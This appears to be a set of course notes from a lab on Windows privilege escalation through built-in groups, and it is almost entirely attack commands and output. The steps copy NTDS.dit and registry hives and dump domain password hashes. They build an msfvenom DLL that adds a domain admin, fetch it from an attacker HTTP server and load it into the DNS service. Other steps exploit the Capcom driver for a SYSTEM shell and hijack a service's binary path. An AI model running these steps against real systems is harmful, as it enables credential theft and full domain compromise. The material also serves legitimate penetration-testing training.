Backup Operators
Importing Libraries
c
PS C:\> Import-Module .\SeBackupPrivilegeUtils.dll
PS C:\> Import-Module .\SeBackupPrivilegeCmdLets.dllVerifying SeBackupPrivilege is Enabled
c
PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabledc
PS C:\htb> Get-SeBackupPrivilege
SeBackupPrivilege is disabledEnabling SeBackupPrivilege
c
PS C:\> Set-SeBackupPrivilege
PS C:\> Get-SeBackupPrivilege
SeBackupPrivilege is enabledc
PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledCopying a Protected File
c
PS C:\> dir C:\Confidential\
Directory: C:\Confidential
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/6/2021 1:01 PM 88 2021 Contract.txt
PS C:\htb> cat 'C:\Confidential\2021 Contract.txt'
cat : Access to the path 'C:\Confidential\2021 Contract.txt' is denied.
At line:1 char:1
+ cat 'C:\Confidential\2021 Contract.txt'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Confidential\2021 Contract.txt:String) [Get-Content], Unauthor
izedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommandc
PS C:\> Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt
Copied 88 bytes
PS C:\htb> cat .\Contract.txt
Inlanefreight 2021 Contract
==============================
Board of Directors:
<...SNIP...>Attacking a Domain Controller - Copying NTDS.dit
c
PS C:\> diskshadow.exe
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC, 10/14/2020 12:57:52 AM
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit
PS C:\htb> dir E:
Directory: E:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/6/2021 1:00 PM Confidential
d----- 9/15/2018 12:19 AM PerfLogs
d-r--- 3/24/2021 6:20 PM Program Files
d----- 9/15/2018 2:06 AM Program Files (x86)
d----- 5/6/2021 1:05 PM Tools
d-r--- 5/6/2021 12:51 PM Users
d----- 3/24/2021 6:38 PM WindowsCopying NTDS.dit Locally
c
PS C:\> Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Copied 16777216 bytesBacking up SAM and SYSTEM Registry Hives
c
C:\> reg save HKLM\SYSTEM SYSTEM.SAV
The operation completed successfully.
C:\> reg save HKLM\SAM SAM.SAV
The operation completed successfully.Extracting Credentials from NTDS.dit
c
PS C:\> Import-Module .\DSInternals.psd1
PS C:\> $key = Get-BootKey -SystemHivePath .\SYSTEM
PS C:\> Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
DistinguishedName: CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
Sid: S-1-5-21-669053619-2741956077-1013132368-500
Guid: f28ab72b-9b16-4b52-9f63-ef4ea96de215
SamAccountName: Administrator
SamAccountType: User
UserPrincipalName:
PrimaryGroupId: 513
SidHistory:
Enabled: True
UserAccountControl: NormalAccount, PasswordNeverExpires
AdminCount: True
Deleted: False
LastLogonDate: 5/6/2021 5:40:30 PM
DisplayName:
GivenName:
Surname:
Description: Built-in account for administering the computer/domain
ServicePrincipalName:
SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited,
DiscretionaryAclProtected, SelfRelative
Owner: S-1-5-21-669053619-2741956077-1013132368-512
Secrets
NTHash: cf3a5525ee9414229e66279623ed5c58
LMHash:
NTHashHistory:
LMHashHistory:
SupplementalCredentials:
ClearText:
NTLMStrongHash: 7790d8406b55c380f98b92bb2fdc63a7
Kerberos:
Credentials:
DES_CBC_MD5
Key: d60dfbbf20548938
OldCredentials:
Salt: WIN-NB4NGP3TKNKAdministrator
Flags: 0
KerberosNew:
Credentials:
AES256_CTS_HMAC_SHA1_96
Key: 5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Iterations: 4096
AES128_CTS_HMAC_SHA1_96
Key: 94c300d0e47775b407f2496a5cca1a0a
Iterations: 4096
DES_CBC_MD5
Key: d60dfbbf20548938
Iterations: 4096
OldCredentials:
OlderCredentials:
ServiceCredentials:
Salt: WIN-NB4NGP3TKNKAdministrator
DefaultIterationCount: 4096
Flags: 0
WDigest:
Key Credentials:
Credential Roaming
Created:
Modified:
Credentials:Extracting Hashes Using SecretsDump
c
$ secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0xc0a9116f907bd37afaaa845cb87d0550
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 85541c20c346e3198a3ae2c09df7f330
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WINLPE-DC01$:1000:aad3b435b51404eeaad3b435b51404ee:7abf052dcef31f6305f1d4c84dfa7484:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a05824b8c279f2eb31495a012473d129:::
htb-student:1103:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
svc_backup:1104:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
bob:1105:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
hyperv_adm:1106:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
printsvc:1107:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
<SNIP>Robocopy
c
C:\> robocopy /B E:\Windows\NTDS .\ntds ntds.dit
-------------------------------------------------------------------------------
ROBOCOPY :: Robust File Copy for Windows
-------------------------------------------------------------------------------
Started : Thursday, May 6, 2021 1:11:47 PM
Source : E:\Windows\NTDS\
Dest : C:\Tools\ntds\
Files : ntds.dit
Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
------------------------------------------------------------------------------
New Dir 1 E:\Windows\NTDS\
100% New File 16.0 m ntds.dit
------------------------------------------------------------------------------
Total Copied Skipped Mismatch FAILED Extras
Dirs : 1 1 0 0 0 0
Files : 1 1 0 0 0 0
Bytes : 16.00 m 16.00 m 0 0 0 0
Times : 0:00:00 0:00:00 0:00:00 0:00:00
Speed : 356962042 Bytes/sec.
Speed : 20425.531 MegaBytes/min.
Ended : Thursday, May 6, 2021 1:11:47 PManother way
Backup the SAM, SYSTEM, and SECURITY Hives:
c
reg save hklm\sam c:\temp\sam
reg save hklm\system c:\temp\system
reg save hklm\security c:\temp\securityExtract Password Hashes Using Tools:
c
sekurlsa::samdump::local c:\temp\sam c:\temp\systemc
$ secretsdump.py -ntds ntds.dit -system system.back LOCALEvent Log Readers
Confirming Group Membership
cmd-session
C:\> net localgroup "Event Log Readers"
Alias name Event Log Readers
Comment Members of this group can read event logs from local machine
Members
-------------------------------------------------------------------------------
logger
The command completed successfully.Searching Security Logs Using wevtutil
c
PS C:\> wevtutil qe Security /rd:true /f:text | Select-String "/user"
Process Command Line: net use T: \\fs01\backups /user:tim MyStr0ngP@sswordc
C:\> wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"Searching Security Logs Using Get-WinEvent
c
PS C:\> Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}
CommandLine
-----------
net use T: \\fs01\backups /user:tim MyStr0ngP@sswordDnsAdmins
Leveraging DnsAdmins Access
Generating Malicious DLL
c
$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dllc
$ python3 -m http.server 7777
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -Downloading File to Target
c
PS C:\> wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"Loading DLL as Non-Privileged User
c
C:\> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIEDLoading DLL as Member of DnsAdmins
c
C:\> Get-ADGroupMember -Identity DnsAdmins
distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name : netadm
objectClass : user
objectGUID : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName : netadm
SID : S-1-5-21-669053619-2741956077-1013132368-1109Loading Custom DLL
c
C:\> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.Finding User's SID
c
C:\> wmic useraccount where name="netadm" get sid
SID
S-1-5-21-669053619-2741956077-1013132368-1109Checking Permissions on DNS Service
c
C:\> sc.exe sdshow DNS
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)Stopping the DNS Service
c
C:\> sc stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530Starting the DNS Service
c
C:\> sc start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 6960
FLAGS :Confirming Group Membership
c
C:\> net group "Domain Admins" /dom
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator netadm
The command completed successfully.Cleaning Up
Confirming Registry Key Added
c
C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
GlobalQueryBlockList REG_MULTI_SZ wpad\0isatap
EnableGlobalQueryBlockList REG_DWORD 0x1
PreviousLocalHostname REG_SZ WINLPE-DC01.INLANEFREIGHT.LOCAL
Forwarders REG_MULTI_SZ 1.1.1.1\08.8.8.8
ForwardingTimeout REG_DWORD 0x3
IsSlave REG_DWORD 0x0
BootMethod REG_DWORD 0x3
AdminConfigured REG_DWORD 0x1
ServerLevelPluginDll REG_SZ adduser.dllDeleting Registry Key
c
C:\> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.Starting the DNS Service Again
c
C:\htb> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 4984
FLAGS :Checking DNS Service Status
c
C:\htb> sc query dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0Using Mimilib.dll
c
/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"
DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
return ERROR_SUCCESS;
}
DWORD WINAPI kdns_DnsPluginCleanup()
{
return ERROR_SUCCESS;
}
DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
{
klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
fclose(kdns_logfile);
system("ENTER COMMAND HERE");
}
return ERROR_SUCCESS;
}Creating a WPAD Record
Disabling the Global Query Block List
powershell-session
C:\> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.localAdding a WPAD Record
powershell-session
C:\> Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3Hyper-V Administrators
Target File
shell-session
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exeTaking Ownership of the File
cmd-session
C:\> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.execmd-session
C:\htb> sc.exe start MozillaMaintenancePrint Operators
Confirming Privileges
cmd-session
C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================== ================================= =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeShutdownPrivilege Shut down the system DisabledChecking Privileges Again
cmd-session
C:\htb> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================== ==========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledCompile with cl.exe
cmd-session
C:\Users\mrb3n\Desktop\Print Operators>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86
Copyright (C) Microsoft Corporation. All rights reserved.
EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29913.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.objAdd Reference to Driver
cmd-session
C:\> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
The operation completed successfully.
C:\> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
The operation completed successfully.Verify Driver is not Loaded
powershell-session
PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern CapcomVerify Privilege is Enabled
cmd-session
C:\> EnableSeLoadDriverPrivilege.exe
whoami:
INLANEFREIGHT0\printsvc
whoami /priv
SeMachineAccountPrivilege Disabled
SeLoadDriverPrivilege Enabled
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled by default
SeIncreaseWorkingSetPrivilege Disabled
NTSTATUS: 00000000, WinError: 0Verify Capcom Driver is Listed
powershell-session
PS C:\> .\DriverView.exe /stext drivers.txt
PS C:\> cat drivers.txt | Select-String -pattern Capcom
Driver Name : Capcom.sys
Filename : C:\Tools\Capcom.sysUse ExploitCapcom Tool to Escalate Privileges
powershell-session
PS C:\> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launchedAlternate Exploitation - No GUI
c
// Launches a command shell process
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
&ProcessInfo))
{
return false;
}
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return true;
}CommandLine
c
TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");Automating the Steps
Automating with EopLoadDriver
c
C:\> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0Clean-up
Removing Registry Key
c
C:\> reg delete HKCU\System\CurrentControlSet\Capcom
Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes
The operation completed successfully.Server Operators
Querying the AppReadiness Service
c
C:\> sc qc AppReadiness
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AppReadiness
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\svchost.exe -k AppReadiness -p
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : App Readiness
DEPENDENCIES :
SERVICE_START_NAME : LocalSystemChecking Service Permissions with PsService
c
C:\> c:\Tools\PsService.exe security AppReadiness
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
SERVICE_NAME: AppReadiness
DISPLAY_NAME: App Readiness
ACCOUNT: LocalSystem
SECURITY:
[ALLOW] NT AUTHORITY\SYSTEM
Query status
Query Config
Interrogate
Enumerate Dependents
Pause/Resume
Start
Stop
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Administrators
All
[ALLOW] NT AUTHORITY\INTERACTIVE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] NT AUTHORITY\SERVICE
Query status
Query Config
Interrogate
Enumerate Dependents
User-Defined Control
Read Permissions
[ALLOW] BUILTIN\Server Operators
AllChecking Local Admin Group Membership
c
C:\> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.Modifying the Service Binary Path
c
C:\> sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
[SC] ChangeServiceConfig SUCCESSStarting the Service
c
C:\> sc start AppReadiness
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.Confirming Local Admin Group Membership
c
C:\> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
server_adm
The command completed successfully.Confirming Local Admin Access on Domain Controller
c
$ crackmapexec smb 10.129.43.9 -u server_adm -p 'password'
SMB 10.129.43.9 445 WINLPE-DC01 [*] Windows 10.0 Build 17763 (name:WINLPE-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.43.9 445 WINLPE-DC01 [+] INLANEFREIGHT.LOCAL\server_adm:password (Pwn3d!)Retrieving NTLM Password Hashes from the Domain Controller
c
$ secretsdump.py server_adm@10.129.43.9 -just-dc-user administrator
Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:5db9c9ada113804443a8aeb64f500cd3e9670348719ce1436bcc95d1d93dad43
Administrator:aes128-cts-hmac-sha1-96:94c300d0e47775b407f2496a5cca1a0a
Administrator:des-cbc-md5:d60dfbbf20548938
[*] Cleaning up...